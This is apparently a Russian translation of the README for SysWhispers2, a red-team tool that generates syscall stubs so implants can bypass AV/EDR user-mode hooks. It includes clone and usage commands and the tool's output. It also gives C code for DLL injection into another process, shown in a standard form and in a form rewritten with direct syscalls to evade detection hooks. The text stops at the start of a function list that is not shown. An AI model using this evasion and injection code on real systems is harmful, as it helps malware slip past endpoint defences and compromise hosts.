
Обход AV/EDR с помощью прямых системных вызовов.
SysWhispers помогает обходить защиту, генерируя заголовочные файлы и файлы ASM, которые импланты могут использовать для прямого вызова системных вызовов.
Поддерживаются все основные системные вызовы, а примеры сгенерированных файлов доступны в папке example-output/.
Использование практически идентично SysWhispers1, но не нужно указывать, какие версии Windows поддерживать. Большинство изменений находятся внутри. Он больше не полагается на таблицы системных вызовов от @j00ru, а использует технику «сортировки по адресу системного вызова», популяризированную @modexpblog. Это значительно уменьшает размер заглушек системных вызовов.
Реализация в SysWhispers2 является вариантом кода @modexpblog. Одно из отличий — хэши имён функций рандомизируются при каждой генерации. @ElephantSe4l, который опубликовал эту технику ранее, имеет другую реализацию на C++17, которую также стоит изучить.
Оригинальный репозиторий SysWhispers всё ещё доступен, но может быть устаревшим в будущем.
Различные продукты безопасности устанавливают перехватчики в пользовательские функции API, позволяя им перенаправлять поток выполнения в свои движки и обнаруживать подозрительное поведение. Функции в ntdll.dll, выполняющие системные вызовы, состоят всего из нескольких инструкций ассемблера, поэтому их повторная реализация в вашем импланте может обойти срабатывание этих перехватчиков. Эта техника была популяризирована @Cn33liz, и в его статье содержится больше технических деталей, которые стоит прочитать.
SysWhispers предоставляет специалистам по Red Team возможность генерировать пары заголовков/ASM для любого системного вызова в образе ядра (ntoskrnl.exe). Заголовки также будут содержать необходимые определения типов.
> git clone https://github.com/jthuraisamy/SysWhispers2.git
> cd SysWhispers2
> py .\syswhispers.py --help
# Экспорт всех функций с совместимостью для всех поддерживаемых версий Windows (см. example-output/).
py .\syswhispers.py --preset all -o syscalls_all
# Экспорт только общих функций (см. список ниже).
py .\syswhispers.py --preset common -o syscalls_common
# Экспорт NtProtectVirtualMemory и NtWriteVirtualMemory с совместимостью для всех версий.
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
PS C:\Projects\SysWhispers2> py .\syswhispers.py --preset common --out-file syscalls_common
python syswhispers.py -p all -a all -l all -o example-output/Syscalls
. ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. /
`-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-'
`-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `---
/| | @Jackson_T
`-' ' @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
All functions selected.
Complete! Files written to:
example-output/Syscalls.h
example-output/Syscalls.c
example-output/SyscallsStubs.std.x86.asm
example-output/SyscallsStubs.rnd.x86.asm
example-output/SyscallsStubs.std.x86.nasm
example-output/SyscallsStubs.rnd.x86.nasm
example-output/SyscallsStubs.std.x86.s
example-output/SyscallsStubs.rnd.x86.s
example-output/SyscallsInline.std.x86.h
example-output/SyscallsInline.rnd.x86.h
example-output/SyscallsStubs.std.x64.asm
example-output/SyscallsStubs.rnd.x64.asm
example-output/SyscallsStubs.std.x64.nasm
example-output/SyscallsStubs.rnd.x64.nasm
example-output/SyscallsStubs.std.x64.s
example-output/SyscallsStubs.rnd.x64.s
example-output/SyscallsInline.std.x64.h
example-output/SyscallsInline.rnd.x64.h
CreateRemoteThreadpy .\syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscalls
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
#include <Windows.h>
#include "syscalls.h" // Импортируем сгенерированный заголовок.
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
HANDLE hThread = NULL;
LPVOID lpAllocationStart = nullptr;
SIZE_T szAllocationSize = strlen(dllPath);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
NtAllocateVirtualMemory(hProcess, &lpAllocationStart, 0, (PULONG)&szAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
NtWriteVirtualMemory(hProcess, lpAllocationStart, (PVOID)dllPath, strlen(dllPath), nullptr);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, lpStartAddress, lpAllocationStart, FALSE, 0, 0, 0, nullptr);
}
Использование ключа --preset common создаст пару заголовок/ASM со следующими функциями: